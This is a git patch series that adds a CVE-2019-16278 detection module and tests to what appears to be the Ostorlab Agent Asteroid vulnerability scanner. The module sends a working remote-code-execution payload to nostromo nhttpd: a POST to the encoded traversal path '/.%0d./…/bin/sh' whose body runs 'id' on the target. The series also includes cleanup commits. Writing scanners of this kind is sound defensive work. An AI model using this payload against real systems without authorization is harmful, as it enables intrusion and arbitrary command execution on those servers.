From fd4d9a2c2d96cea2b202618175989a29b74d55d0 Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Wed, 13 Nov 2024 10:34:48 +0100 Subject: [PATCH 1/8] Add CVE-2019-16278 detection --- agent/exploits/cve_2019_16278.py | 113 ++++++++++++++++++++++++++ tests/exploits/cve_2019_16278_test.py | 78 ++++++++++++++++++ 2 files changed, 191 insertions(+) create mode 100644 agent/exploits/cve_2019_16278.py create mode 100644 tests/exploits/cve_2019_16278_test.py diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py new file mode 100644 index 0000000..4da0ce4 --- /dev/null +++ b/agent/exploits/cve_2019_16278.py @@ -0,0 +1,113 @@ +"""Agent Asteroid implementation for CVE-2019-16278""" + +import datetime +import http.client as http_client +import logging +from urllib import parse as urlparse + +import requests +from requests import exceptions as requests_exceptions +from rich import logging as rich_logging + +from agent import definitions +from agent import exploits_registry +from agent.exploits import webexploit + +VULNERABILITY_TITLE = "NOSTROMO NHTTPD DIRECTORY TRAVERSAL VULNERABILITY" +VULNERABILITY_REFERENCE = "CVE-2019-16278" +VULNERABILITY_DESCRIPTION = """Directory Traversal in the function http_verify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request. +""" +RISK_RATING = "CRITICAL" + +DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) + +logging.basicConfig( + format="%(message)s", + datefmt="[%X]", + level="INFO", + force=True, + handlers=[rich_logging.RichHandler(rich_tracebacks=True)], +) +logger = logging.getLogger(__name__) + + +@exploits_registry.register +class CVE201916278Exploit(webexploit.WebExploit): + accept_request = definitions.Request(method="GET", path="/") + metadata = definitions.VulnerabilityMetadata( + title=VULNERABILITY_TITLE, + description=VULNERABILITY_DESCRIPTION, + reference=VULNERABILITY_REFERENCE, + risk_rating=RISK_RATING, + ) + + def accept(self, target: definitions.Target) -> bool: + """Rule: heuristically detect if a specific target is valid. + + Args: + target: Target to verify + + Returns: + True if the target is valid; otherwise False. + """ + target_endpoint = urlparse.urljoin(target.origin, self.accept_request.path) + try: + req = requests.Request( + method=self.accept_request.method, + url=target_endpoint, + data=self.accept_request.data, + ).prepare() + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT.seconds) + except requests_exceptions.RequestException: + return False + + try: + server_header = resp.headers.get("Server", "") + if "nostromo" in server_header: + return True + except Exception: + return False + + return False + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + """Rule to detect specific vulnerability on a specific target. + + Args: + target: Target to scan + + Returns: + List of identified vulnerabilities. + """ + vulnerabilities: list[definitions.Vulnerability] = [] + + target_endpoint = urlparse.urljoin( + target.origin, "/.%0d./.%0d./.%0d./.%0d./bin/sh" + ) + payload = "echo\necho\n id 2>&1" + headers = { + "Content-Length": str(len(payload)), + "User-Agent": "Mozilla/5.0", + } + + # Force HTTP/1.0 by setting the default version in the HTTPConnection class + http_client.HTTPConnection._http_vsn = 10 + http_client.HTTPConnection._http_vsn_str = "HTTP/1.0" + + try: + req = requests.Request( + method="POST", url=target_endpoint, headers=headers, data=payload + ).prepare() + resp = self.session.send( + req, + timeout=DEFAULT_TIMEOUT.seconds, + # proxies={"http": "http://192.168.1.208:8080"} + ) + except requests_exceptions.RequestException: + return vulnerabilities + + if "uid=" in resp.text: + vulnerability = self._create_vulnerability(target) + vulnerabilities.append(vulnerability) + + return vulnerabilities diff --git a/tests/exploits/cve_2019_16278_test.py b/tests/exploits/cve_2019_16278_test.py new file mode 100644 index 0000000..ccec952 --- /dev/null +++ b/tests/exploits/cve_2019_16278_test.py @@ -0,0 +1,78 @@ +"""Unit tests for Agent Asteroid: CVE-2019-16278""" + +import requests_mock as req_mock + +from agent import definitions +from agent.exploits import cve_2019_16278 + + +def testCVE201916278_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2019-16278 unit test: case when target is vulnerable.""" + requests_mock.get( + url="http://localhost:80/", + status_code=200, + headers={"Server": "nostromo 1.9.4"}, + ) + requests_mock.post( + "http://localhost:80/.%0D./.%0D./.%0D./.%0D./bin/sh", + text="uid=65534 gid=65534", + status_code=200, + ) + exploit_instance = cve_2019_16278.CVE201916278Exploit() + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + vulnerability = vulnerabilities[0] + assert ( + vulnerability.entry.title == "NOSTROMO NHTTPD DIRECTORY TRAVERSAL VULNERABILITY" + ) + assert vulnerability.technical_detail == ( + "http://localhost:80 is vulnerable to CVE-2019-16278, NOSTROMO NHTTPD DIRECTORY TRAVERSAL VULNERABILITY" + ) + + +def testCVE201916278_whenSafe_reportNothing( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2019-16278 unit test: case when target is safe.""" + exploit_instance = cve_2019_16278.CVE201916278Exploit() + requests_mock.get( + url="http://localhost:80/", + status_code=200, + headers={"Server": "nostromo 1.9.4"}, + ) + requests_mock.post( + "http://localhost:80/.%0D./.%0D./.%0D./.%0D./bin/sh", + status_code=404, + ) + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 0 + + +# def testCVE201916278_whenTargetNotLiteSpeedCache_reportNothing( +# requests_mock: req_mock.mocker.Mocker, +# ) -> None: +# """CVE-2019-16278 unit test: case when target is safe.""" +# exploit_instance = cve_2019_16278.CVE201916278Exploit() +# requests_mock.get( +# "http://localhost:80/wp-content/plugins/litespeed-cache/readme.txt", +# text="""Not Found""", +# status_code=404, +# ) +# target = definitions.Target("http", "localhost", 80) +# +# accept = exploit_instance.accept(target) +# vulnerabilities = exploit_instance.check(target) +# +# assert accept is False +# assert len(vulnerabilities) == 0 From c9b316a8ad66b57425fab90601f844697058a363 Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Wed, 13 Nov 2024 10:35:26 +0100 Subject: [PATCH 2/8] Add CVE-2019-16278 detection --- tests/exploits/cve_2019_16278_test.py | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/tests/exploits/cve_2019_16278_test.py b/tests/exploits/cve_2019_16278_test.py index ccec952..5b57e92 100644 --- a/tests/exploits/cve_2019_16278_test.py +++ b/tests/exploits/cve_2019_16278_test.py @@ -58,21 +58,3 @@ def testCVE201916278_whenSafe_reportNothing( assert accept is True assert len(vulnerabilities) == 0 - -# def testCVE201916278_whenTargetNotLiteSpeedCache_reportNothing( -# requests_mock: req_mock.mocker.Mocker, -# ) -> None: -# """CVE-2019-16278 unit test: case when target is safe.""" -# exploit_instance = cve_2019_16278.CVE201916278Exploit() -# requests_mock.get( -# "http://localhost:80/wp-content/plugins/litespeed-cache/readme.txt", -# text="""Not Found""", -# status_code=404, -# ) -# target = definitions.Target("http", "localhost", 80) -# -# accept = exploit_instance.accept(target) -# vulnerabilities = exploit_instance.check(target) -# -# assert accept is False -# assert len(vulnerabilities) == 0 From e0b599752faa9c8709fa44cdd29c8cd97362a0ad Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Wed, 13 Nov 2024 10:38:37 +0100 Subject: [PATCH 3/8] remove logging setup and proxy --- agent/exploits/cve_2019_16278.py | 12 ------------ tests/exploits/cve_2019_16278_test.py | 1 - 2 files changed, 13 deletions(-) diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py index 4da0ce4..a40eace 100644 --- a/agent/exploits/cve_2019_16278.py +++ b/agent/exploits/cve_2019_16278.py @@ -2,12 +2,10 @@ import datetime import http.client as http_client -import logging from urllib import parse as urlparse import requests from requests import exceptions as requests_exceptions -from rich import logging as rich_logging from agent import definitions from agent import exploits_registry @@ -21,15 +19,6 @@ DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) -logging.basicConfig( - format="%(message)s", - datefmt="[%X]", - level="INFO", - force=True, - handlers=[rich_logging.RichHandler(rich_tracebacks=True)], -) -logger = logging.getLogger(__name__) - @exploits_registry.register class CVE201916278Exploit(webexploit.WebExploit): @@ -101,7 +90,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: resp = self.session.send( req, timeout=DEFAULT_TIMEOUT.seconds, - # proxies={"http": "http://192.168.1.208:8080"} ) except requests_exceptions.RequestException: return vulnerabilities diff --git a/tests/exploits/cve_2019_16278_test.py b/tests/exploits/cve_2019_16278_test.py index 5b57e92..8adec0b 100644 --- a/tests/exploits/cve_2019_16278_test.py +++ b/tests/exploits/cve_2019_16278_test.py @@ -57,4 +57,3 @@ def testCVE201916278_whenSafe_reportNothing( assert accept is True assert len(vulnerabilities) == 0 - From d7ba2a8b9f0659f5d815ae9bc221180a7b11f9d2 Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Wed, 13 Nov 2024 14:58:13 +0100 Subject: [PATCH 4/8] remove unnecessary try catch --- agent/exploits/cve_2019_16278.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py index a40eace..7715c52 100644 --- a/agent/exploits/cve_2019_16278.py +++ b/agent/exploits/cve_2019_16278.py @@ -50,12 +50,9 @@ def accept(self, target: definitions.Target) -> bool: except requests_exceptions.RequestException: return False - try: - server_header = resp.headers.get("Server", "") - if "nostromo" in server_header: - return True - except Exception: - return False + server_header = resp.headers.get("Server", "") + if "nostromo" in server_header: + return True return False @@ -80,8 +77,8 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } # Force HTTP/1.0 by setting the default version in the HTTPConnection class - http_client.HTTPConnection._http_vsn = 10 - http_client.HTTPConnection._http_vsn_str = "HTTP/1.0" + http_client.HTTPConnection._http_vsn = 10 # type: ignore[attr-defined] + http_client.HTTPConnection._http_vsn_str = "HTTP/1.0" # type: ignore[attr-defined] try: req = requests.Request( From 21b5771ade67aaa4e137e3c83430c29ecf1a300b Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Wed, 13 Nov 2024 14:58:56 +0100 Subject: [PATCH 5/8] fix lint --- agent/exploits/cve_2019_16278.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py index 7715c52..fcc124d 100644 --- a/agent/exploits/cve_2019_16278.py +++ b/agent/exploits/cve_2019_16278.py @@ -77,8 +77,8 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } # Force HTTP/1.0 by setting the default version in the HTTPConnection class - http_client.HTTPConnection._http_vsn = 10 # type: ignore[attr-defined] - http_client.HTTPConnection._http_vsn_str = "HTTP/1.0" # type: ignore[attr-defined] + http_client.HTTPConnection._http_vsn = 10 # type: ignore[attr-defined] + http_client.HTTPConnection._http_vsn_str = "HTTP/1.0" # type: ignore[attr-defined] try: req = requests.Request( From fdd4729330c90071aef2fd165981b954e7bde0f9 Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Wed, 13 Nov 2024 17:40:51 +0100 Subject: [PATCH 6/8] fix forcing http/1.0 --- agent/exploits/cve_2019_16278.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py index fcc124d..a298bda 100644 --- a/agent/exploits/cve_2019_16278.py +++ b/agent/exploits/cve_2019_16278.py @@ -1,7 +1,6 @@ """Agent Asteroid implementation for CVE-2019-16278""" import datetime -import http.client as http_client from urllib import parse as urlparse import requests @@ -23,6 +22,7 @@ @exploits_registry.register class CVE201916278Exploit(webexploit.WebExploit): accept_request = definitions.Request(method="GET", path="/") + metadata = definitions.VulnerabilityMetadata( title=VULNERABILITY_TITLE, description=VULNERABILITY_DESCRIPTION, @@ -76,10 +76,9 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "User-Agent": "Mozilla/5.0", } - # Force HTTP/1.0 by setting the default version in the HTTPConnection class - http_client.HTTPConnection._http_vsn = 10 # type: ignore[attr-defined] - http_client.HTTPConnection._http_vsn_str = "HTTP/1.0" # type: ignore[attr-defined] - + # Force HTTP/1.0 + self.session._http_vsn = 10 + self.session._http_vsn_str = "HTTP/1.0" try: req = requests.Request( method="POST", url=target_endpoint, headers=headers, data=payload From 8a4ae8023141990e6a42b64a82d9a7b296fb2c0a Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Wed, 13 Nov 2024 18:21:32 +0100 Subject: [PATCH 7/8] Making CodeCov happy --- agent/exploits/cve_2019_16278.py | 7 ++----- tests/exploits/cve_2019_16278_test.py | 20 ++++++++++++++++++++ 2 files changed, 22 insertions(+), 5 deletions(-) diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py index a298bda..6c53856 100644 --- a/agent/exploits/cve_2019_16278.py +++ b/agent/exploits/cve_2019_16278.py @@ -47,6 +47,7 @@ def accept(self, target: definitions.Target) -> bool: data=self.accept_request.data, ).prepare() resp = self.session.send(req, timeout=DEFAULT_TIMEOUT.seconds) + print("\nresp", resp) except requests_exceptions.RequestException: return False @@ -71,17 +72,13 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target.origin, "/.%0d./.%0d./.%0d./.%0d./bin/sh" ) payload = "echo\necho\n id 2>&1" - headers = { - "Content-Length": str(len(payload)), - "User-Agent": "Mozilla/5.0", - } # Force HTTP/1.0 self.session._http_vsn = 10 self.session._http_vsn_str = "HTTP/1.0" try: req = requests.Request( - method="POST", url=target_endpoint, headers=headers, data=payload + method="POST", url=target_endpoint, data=payload ).prepare() resp = self.session.send( req, diff --git a/tests/exploits/cve_2019_16278_test.py b/tests/exploits/cve_2019_16278_test.py index 8adec0b..58aa3ef 100644 --- a/tests/exploits/cve_2019_16278_test.py +++ b/tests/exploits/cve_2019_16278_test.py @@ -57,3 +57,23 @@ def testCVE201916278_whenSafe_reportNothing( assert accept is True assert len(vulnerabilities) == 0 + + +def testCVE201916278_whenAcceptRequestFails_doNotCrash() -> None: + """CVE-2019-16278 unit test: case when target is safe.""" + exploit_instance = cve_2019_16278.CVE201916278Exploit() + target = definitions.Target("http", "notexist", 80) + + accept = exploit_instance.accept(target) + + assert accept is False + + +def testCVE201916278_whenCheckRequestFails_doNotCrash() -> None: + """CVE-2019-16278 unit test: case when target is safe.""" + exploit_instance = cve_2019_16278.CVE201916278Exploit() + target = definitions.Target("http", "notexist", 80) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 0 From c0f16554421b417ff3ad0fbb96d06b7bba11ae15 Mon Sep 17 00:00:00 2001 From: ybadaoui-ostorlab Date: Thu, 14 Nov 2024 09:01:20 +0100 Subject: [PATCH 8/8] resolve comments --- agent/exploits/cve_2019_16278.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py index 6c53856..d7a306d 100644 --- a/agent/exploits/cve_2019_16278.py +++ b/agent/exploits/cve_2019_16278.py @@ -47,15 +47,11 @@ def accept(self, target: definitions.Target) -> bool: data=self.accept_request.data, ).prepare() resp = self.session.send(req, timeout=DEFAULT_TIMEOUT.seconds) - print("\nresp", resp) except requests_exceptions.RequestException: return False server_header = resp.headers.get("Server", "") - if "nostromo" in server_header: - return True - - return False + return "nostromo" in server_header def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: """Rule to detect specific vulnerability on a specific target.